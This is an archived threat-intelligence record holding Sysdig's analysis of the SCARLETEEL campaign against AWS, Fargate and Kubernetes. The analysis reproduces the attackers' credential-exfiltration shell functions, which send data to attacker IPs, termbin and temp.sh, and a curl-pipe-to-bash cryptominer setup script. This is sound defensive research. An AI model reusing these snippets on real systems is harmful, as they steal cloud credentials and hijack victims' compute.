{
	"id": "8b11ebf8-88f4-48cf-b377-f735f4e2c12b",
	"created_at": "2026-04-06T00:12:08.052337Z",
	"updated_at": "2026-04-10T03:30:57.883331Z",
	"deleted_at": null,
	"sha1_hash": "d4963456b2ce334f9bbe8fd1718d195cbd610aeb",
	"title": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3115725,
	"plain_text": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto\r\nBy Alessandro Brucato\r\nPublished: 2023-07-11 · Archived: 2026-04-02 10:57:12 UTC\r\nFalco Feeds extends the power of Falco by giving open source-focused companies\r\naccess to expert-written rules that are continuously updated as new threats are\r\ndiscovered.\r\nlearn more\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 1 of 14\n\nSCARLETEEL, an operation reported on by the Sysdig Threat Research Team last February, continues to thrive,\r\nimprove tactics, and steal proprietary data. Cloud environments are still their primary target, but the tools and\r\ntechniques used have adapted to bypass new security measures, along with a more resilient and stealthy command\r\nand control architecture. AWS Fargate, a more sophisticated environment to breach, has also become a target as their\r\nnew attack tools allow them to operate within that environment.\r\nIn their most recent activities, we saw a similar strategy to what was reported in the previous blog: compromise AWS\r\naccounts through exploiting vulnerable compute services, gain persistence, and attempt to make money using\r\ncryptominers. Had we not thwarted their attack, our conservative estimate is that their mining would have cost over\r\n$4,000 per day until stopped.\r\nHaving watched SCARLETEEL previously, we know that they are not only after cryptomining, but stealing\r\nintellectual property as well. In their recent attack, the actor discovered and exploited a customer mistake in an AWS\r\npolicy which allowed them to escalate privileges to AdministratorAccess and gain control over the account, enabling\r\nthem to then do with it what they wanted. We also watched them target Kubernetes in order to significantly scale\r\ntheir attack.\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 2 of 14\n\nOperational Updates\r\nWe will go through the main attack, highlighting how it evolved compared to the attack reported in the last article.\r\nThe enhancements include:\r\nScripts are aware of being in a Fargate-hosted container and can collect credentials.\r\nEscalation to Admin in the victim's AWS account and spin up EC2 instances running miners.\r\nTools and techniques improved in order to expand their attack capabilities and their defense evasion\r\ntechniques.\r\nAttempted exploitation of IMDSv2 in order to retrieve the token and then use it to retrieve the AWS\r\ncredentials.\r\nChanges in C2 domains multiple times, including utilizing public services used to send and retrieve data.\r\nUsing AWS CLI and pacu on the exploited containers to further exploit AWS.\r\nUsing peirates to further exploit Kubernetes.\r\nMotivations\r\nAWS Credentials\r\nAfter exploiting some JupyterLab notebook containers deployed in a Kubernetes cluster, the SCARLETEEL\r\noperation proceeded with multiple types of attacks. One of the primary goals of those attacks was stealing AWS\r\ncredentials to further exploit the victim's AWS environment.\r\nThe actor leveraged several versions of scripts that steal credentials, employing different techniques and exfiltration\r\nendpoints. An old version of one of those scripts was posted on GitHub here. It is worth noting that the C2 domain\r\nembedded in that script, 45[.]9[.]148[.]221, belongs to SCARLETEEL, as reported in our previous article.\r\nThose scripts search for AWS credentials in different places: by contacting the instance metadata (both IMDSv1 and\r\nIMDSv2), in the filesystem, and in the Docker containers created in the target machine (even if they are not running).\r\nLooking at the exfiltration function, we can see that it sends the Base64 encoded stolen credentials to the C2 IP\r\nAddress. Interestingly, it uses shell built-ins to accomplish this instead of curl. This is a more stealthy way to\r\nexfiltrate data as curl and wget are not used, which many tools specifically monitor.\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 3 of 14\n\nsend_aws_data(){\r\ncat $CSOF\r\nSEND_B64_DATA=$(cat $CSOF | base64 -w 0)\r\nrm -f $CSOF\r\ndload http://45.9.148.221/in/in.php?base64=$SEND_B64_DATA \u003e /dev/null\r\n}\r\nThe Sysdig Threat Research Team analyzed several similar scripts that can be found on VirusTotal:\r\nhttps://www.virustotal.com/gui/file/99e70e041dad90226186f39f9bc347115750c276a35bfd659beb23c047d1df6e\r\nhttps://www.virustotal.com/gui/file/00a6b7157c98125c6efd7681023449060a66cdb7792b3793512cd368856ac705\r\nhttps://www.virustotal.com/gui/file/57ddc709bcfe3ade1dd390571622e98ca0f49306344d2a3f7ac89b77d70b7320\r\nhttps://www.virustotal.com/gui/file/3769e828f39126eb8f18139740622ab12672feefaae4a355c3179136a09548a0\r\nIn those scripts, the previous function has different exfiltration endpoints. For instance, the following function sends\r\nthe credentials to 175[.]102[.]182[.]6, 5[.]39[.]93[.]71:9999 and also uploads them to temp.sh:\r\nsend_aws_data(){\r\nfind /tmp/ -type f -empty -delete\r\nSEND_B64_DATA=$(cat $CSOF | base64 -w 0)\r\ncurl -sLk -o /dev/null http://175.102.182.6/.bin/in.php?base64=$SEND_B64_DATA\r\nSEND_AWS_DATA_NC=$(cat $CSOF | nc 5.39.93.71 9999)\r\nSEND_AWS_DATA_CURL=$(curl --upload-file $CSOF https://temp.sh)\r\necho $SEND_AWS_DATA_NC\r\necho \"\"\r\necho $SEND_AWS_DATA_CURL\r\necho \"\"\r\nrm -f $CSOF\r\n}\r\nLooking at those IP addresses, we can state that 175[.]102[.]182[.]6 belongs to the attackers while\r\n5[.]39[.]93[.]71:9999 is the IP address of termbin[.]com, which takes a string input and returns a unique URL that\r\nshows that string when accessed allowing for the storage of data. This site was primarily used to exfiltrate data\r\nduring the attack. Since the response sent from that IP is not sent anywhere but STDOUT (such as the response from\r\nhttps://temp[.]sh/), this suggests that those attacks were either not fully automated or conducting actions based on\r\nscript output. The attacker read the unique URL in the terminal and accessed it to grab the credentials.\r\nIn some versions of the script, it tried to exploit IMDSv2 to retrieve the credentials of the node role, as shown below.\r\nIMDSv2 is often suggested as a solution to security issues with the metadata endpoint, but it is still able to be abused\r\nby attackers. It just requires an extra step, and its efficacy is highly dependent on configuration.\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 4 of 14\n\nSpecifically, the first call is used to retrieve the session token, which is then used to retrieve the AWS credentials.\r\nHowever, this attempt failed because the target machine was a container inside an EC2 instance with the default hop\r\nlimit set to 1. Had the attackers been on the host itself, they would have succeeded in downloading the credentials.\r\nAccording to the AWS documentation, \"In a container environment, if the hop limit is 1, the IMDSv2 response does\r\nnot return because going to the container is considered an additional network hop.\" Amazon recommends setting the\r\nhop limit to 2 in containers, which suggests this would be successful in many container environments.\r\nIn the containers which were using IMDSv1, the attackers succeeded in stealing the AWS credentials. Next, they\r\ninstalled AWS CLI binary and Pacu on the exploited containers and configured them with the retrieved keys. They\r\nused Pacu to facilitate the discovery and exploitation of privilege escalations in the victim's AWS account.\r\nThe attacker was observed using the AWS client to connect to Russian systems which are compatible with the\r\nS3 protocol. The command below shows that they configured the keys for the Russian S3 environment with the\r\n\"configure\" command and then attempted to access their buckets.\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 5 of 14\n\nBy using the \" --endpoint-url \" option, they did not send the API requests to the default AWS services endpoints,\r\nbut instead to hb[.]bizmrg[.]com, which redirects to mcs[.]mail[.]ru/storage, a Russian S3-compatible object storage.\r\nThese requests were not logged in the victim's CloudTrail, since they occurred on the mcs[.]mail[.]ru site. This\r\ntechnique allows the attacker to use the AWS client to download their tools and exfiltrate data, which may not\r\nraise suspicion. It is a variation of \"Living off of the Land\" attacks since the AWS client is commonly installed on\r\ncloud systems.\r\nKubernetes\r\nOther than stealing AWS credentials, the SCARLETEEL actor performed other attacks including targeting\r\nKubernetes. In particular, they also leveraged peirates, a tool to further exploit Kubernetes. The \"get secrets\", \"get\r\npods\" and \"get namespaces\" APIs called in the screenshot below are part of the execution of peirates. This shows that\r\nthe attackers are aware of Kubernetes in their attack chains and will attempt to exploit the environment.\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 6 of 14\n\nDDoS-as-a-Service\r\nIn the same attack where the actor used the AWS CLI pointing to their cloud environment, they also downloaded and\r\nexecuted Pandora, a malware belonging to the Mirai Botnet. The Mirai malware primarily targets IoT devices\r\nconnected to the internet, and is responsible for many large-scale DDoS attacks since 2016. This attack is likely part\r\nof a DDoS-as-a-Service campaign, where the attacker provides DDoS capabilities for money. In this case, the\r\nmachine infected by the Pandora malware would become a node of the botnet used by the attacker to target the\r\nvictim chosen by some client.\r\nPost Exploitation\r\nPrivilege Escalation\r\nAfter collecting the AWS keys of the node role via instance metadata, the SCARLETEEL actor started conducting\r\nautomated reconnaissance in the victim's AWS environment. After some failed attempts to run EC2 instances, they\r\ntried to create access keys for all admin users. The victim used a specific naming convention for all of their admin\r\naccounts similar to \"adminJane,\" \"adminJohn,\" etc. One of the accounts was inadvertently named inconsistently with\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 7 of 14\n\nthe naming convention, using a capitalized 'A' for 'Admin' such as, \"AdminJoe.\" This resulted in the following policy\r\nbeing bypassed by the attackers:\r\nThis policy prevents attackers from creating access keys for every user containing \"admin\" in their username.\r\nTherefore, they managed to gain access to the \"AdminJoe\" user by creating access keys for it.\r\nOnce the attacker obtained the admin access, their first objective was gaining persistence. Using the new admin\r\nprivileges, the adversary created new users and a new set of access keys for all the users in the account, including\r\nadmins. One of the users created was called \"aws_support\" which they switched to in order to conduct\r\nreconnaissance.\r\nCryptojacking\r\nThe next objective was financially motivated: cryptomining. With the admin access, the attacker created 42 instances\r\nof c5.metal/r5a.4xlarge in the compromised account by running the following script:\r\n#!/bin/bash\r\nulimit -n 65535 ; export LC_ALL=C.UTF-8 ; export LANG=C.UTF-8\r\nexport PATH=$PATH:/var/bin:/bin:/sbin:/usr/sbin:/usr/bin\r\nyum install -y bash curl;yum install -y docker;yum install -y openssh-server\r\napt update --fix-missing;apt install -y curl;apt install -y bash;apt install -y wget\r\napk update;apk add bash;apk add curl;apk add wget;apk add docker\r\nif ! type docker; then curl -sLk $SRC/cmd/set/docker.sh | bash ; fi\r\nexport HOME=/root\r\ncurl -Lk http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 43Lfq\r\nhistory -cw\r\nclear\r\nThe attacker was quickly caught due to the noise generated spawning an excessive number of instances running\r\nminers. Once the attacker was caught and access to the admin account was limited, they started to use the other new\r\naccounts created or the account compromised to achieve the same purposes by stealing secrets from Secret Manager\r\nor updating SSH keys to run new instances. The attacker failed to proceed due to lack of privileges.\r\nArtifact Analysis\r\nAnalysis of the script .a.sh\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 8 of 14\n\nDownloaded from: 175[.]102[.]182[.]6/.bin/.g/.a.sh\r\nVirusTotal analysis:\r\nhttps://www.virustotal.com/gui/file/57ddc709bcfe3ade1dd390571622e98ca0f49306344d2a3f7ac89b77d70b7320\r\nAfter installing curl, netcat, and AWS CLI, it tries to retrieve the EC2 instance details from the AWS metadata. The\r\nattacker tried to exploit IMDSv2 in order to retrieve the token and then use it to retrieve the AWS credentials.\r\nThen, the script sends the credentials both via netcat and curl and removes evidence of this execution.\r\nHowever this execution terminated without success because of the inappropriate IMDS version.\r\nSo, immediately, the attacker executed another script.\r\nAnalysis of the script .a.i.sh\r\nDownloaded from: 175[.]102[.]182[.]6/.bin/.a.i.sh\r\nThis script is almost identical to the script published on Github.\r\nIt starts deleting the current IPtables rules and sets the firewall to make them fully permissive:\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 9 of 14\n\nThen, it launches the get_aws_data() function in order to retrieve EC2 instance security credentials. Various metadata\r\nendpoints are used to accomplish this task, but It also looks for another IP Address: 169[.]254[.]170[.]2. This IP\r\nAddress is used by tasks which include AWS Fargate allowing this script to run in containers hosted there as\r\nwell.\r\nIn order to retrieve those credentials the script uses this bash function, which utilizes shell built-ins, with the aim of\r\nevading detection mechanisms based on more common tools, such as curl and wget.\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 10 of 14\n\nThe get_aws_data() function also searches for credentials in all Docker containers in the target machine (even if they\r\nare not running) and in the filesystem:\r\nAfter writing all the retrieved keys and credentials into random filenames, the script calls send_aws_data() to\r\nexfiltrate them:\r\nFinally, the script removes the evidences of the attack, calling the notraces() bash function:\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 11 of 14\n\nAnalysis of the script setup_c3pool_miner.sh\r\nDownloaded from: c9b9-2001-9e8-8aa-f500-ce88-25db-3ce0-e7da[.]ngrok-free[.]app/setup_c3pool_miner.sh\r\nVirusTotal analysis:\r\nhttps://www.virustotal.com/gui/file/2c2a4a8832a039726f23de8a9f6019a0d0f9f2e4dfe67f0d20a696e0aebc9a8f\r\nIt runs the miner with the wallet address belonging to SCARLETEEL:\r\nAlso, this script runs an Alpine Docker image installing static-curl in it. Then, it removes previous c3pool miner and\r\nkills possible xmrig processes, before downloading an \"advanced version\" of xmrig:\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 12 of 14\n\nAs shown above, the miner is extracted in /root/.configure/ . The name of the miner binary is containerd, which then\r\nis executed. From containerd.log, this is the information about the miner:\r\nThe Monero miner is executed in background using the names for containered and the systemd service as a defense\r\nevasion technique:\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 13 of 14\n\nConclusion\r\nThe SCARLETEEL actors continue to operate against targets in the cloud, including AWS and Kubernetes. Since the\r\nlast report, they have enhanced their toolkit to include multiple new tools and a new C2 infrastructure, making\r\ndetection more difficult. Their preferred method of entry is exploitation of open compute services and vulnerable\r\napplications. There is a continued focus on monetary gain via crypto mining, but as we saw in the previous report,\r\nIntellectual Property is still a priority.\r\nDefending against a threat like SCARLETEEL requires multiple layers of defense. Runtime threat detection and\r\nresponse is critical to understanding when an attack has occurred, but with tools like Vulnerability Management,\r\nCSPM, and CIEM, these attacks could be prevented. Missing any of these layers could open up an organization to a\r\nsignificant financial risk.\r\nAbout the author\r\nKubernetes \u0026 Container Security\r\nTest drive the right way to defend the cloudwith a security expert\r\nSource: https://sysdig.com/blog/scarleteel-2-0/\r\nhttps://sysdig.com/blog/scarleteel-2-0/\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"MITRE",
		"Malpedia"
	],
	"references": [
		"https://sysdig.com/blog/scarleteel-2-0/"
	],
	"report_names": [
		"scarleteel-2-0"
	],
	"threat_actors": [
		{
			"id": "c220fe19-ef23-4166-ac54-7a32c3ea75d7",
			"created_at": "2023-11-10T02:00:07.503009Z",
			"updated_at": "2026-04-10T02:00:03.437555Z",
			"deleted_at": null,
			"main_name": "SCARLETEEL",
			"aliases": [],
			"source_name": "MISPGALAXY:SCARLETEEL",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434328,
	"ts_updated_at": 1775791857,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d4963456b2ce334f9bbe8fd1718d195cbd610aeb.pdf",
		"text": "https://archive.orkl.eu/d4963456b2ce334f9bbe8fd1718d195cbd610aeb.txt",
		"img": "https://archive.orkl.eu/d4963456b2ce334f9bbe8fd1718d195cbd610aeb.jpg"
	}
}